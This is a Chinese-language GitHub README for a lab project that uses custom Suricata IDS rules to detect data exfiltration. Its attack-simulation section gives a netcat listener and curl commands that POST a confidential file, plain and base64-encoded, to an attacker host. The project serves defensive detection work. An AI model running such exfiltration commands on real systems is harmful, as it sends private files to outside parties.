VijayeeshDey/sensitive-data-exfiltration-detection

GitHub: VijayeeshDey/sensitive-data-exfiltration-detection

基于 Suricata IDS 的敏感数据外泄检测实验项目,提供自定义规则用于模拟和检测 HTTP 数据外发攻击。

Stars: 0 | Forks: 0

# 使用 Suricata IDS 检测敏感数据外发 ## 概述 本项目演示了如何在虚拟实验室环境中使用 Suricata IDS 模拟和检测敏感数据外发。 设置包括: - Ubuntu 作为受害者和检测机 - Kali Linux 作为攻击机 - Suricata IDS 用于出站流量监控 - Curl 和 Netcat 用于攻击模拟 ## 功能特性 - HTTP POST 外发检测 - 敏感关键词检测 - Base64 编码的 payload 检测 - 大量出站传输检测 - Curl User-Agent 检测 - 可疑外部主机监控 ## 使用的技术 - Suricata IDS - Ubuntu Linux - Kali Linux - Netcat - Curl - Base64 编码 ## 网络架构 | 机器 | 角色 | |---|---| | Ubuntu | 受害者 + 检测 | | Kali Linux | 攻击者 | ## 安装说明 ### 安装 Suricata ``` sudo apt update sudo apt install suricata -y ``` ### 克隆仓库 ``` git clone https://github.com/your-username/sensitive-data-exfiltration-detection.git cd sensitive-data-exfiltration-detection ``` ## 配置规则 复制规则: ``` sudo cp rules/local.rules /etc/suricata/rules/local.rules ``` 测试配置: ``` sudo suricata -T -c /etc/suricata/suricata.yaml ``` ## 运行 Suricata ``` sudo suricata -i ens33 -S /etc/suricata/rules/local.rules ``` 请将 `ens33` 替换为您的网络接口。 ## 攻击模拟 ### 启动攻击者监听器 ``` nc -lvnp 8080 ``` ### HTTP POST 外发 ``` curl -X POST --data-binary "@/home/user/sensitive/confidential.txt" http://:8080 ``` ### Base64 编码外发 ``` base64 ~/sensitive/confidential.txt | curl -X POST -d @- http://:8080 ``` ### 大文件传输 ``` dd if=/dev/zero of=~/sensitive/largefile.txt bs=1024 count=10 curl -X POST --data-binary "@/home/user/sensitive/largefile.txt" http://:8080 ``` ## 检测规则 | SID | 描述 | |---|---| | 1000001 | 敏感数据外发 | | 1000002 | HTTP POST 检测 | | 1000003 | 敏感关键词检测 | | 1000004 | Base64 外发检测 | | 1000005 | 大量出站传输 | | 1000006 | Curl User-Agent 检测 | | 1000007 | 可疑外部主机 | ## 日志 查看告警: ``` sudo tail -f /var/log/suricata/fast.log ``` 详细日志: ``` sudo tail -f /var/log/suricata/eve.json ``` ## 屏幕截图 屏幕截图可在 `screenshots/` 目录中找到。 ## 结论 本项目演示了 Suricata IDS 如何使用自定义 IDS 签名和网络流量分析来检测多种出站数据外发技术。 ## 许可证 MIT 许可证
标签:AMSI绕过, Base64 解码, Curl, DLP, HTTP POST 检测, Netcat, Suricata, 入侵检测系统, 威胁检测, 安全数据湖, 数据渗出检测, 流量监控, 现代安全运营, 网络安全, 网络安全实验, 自定义规则, 虚拟靶场, 隐私保护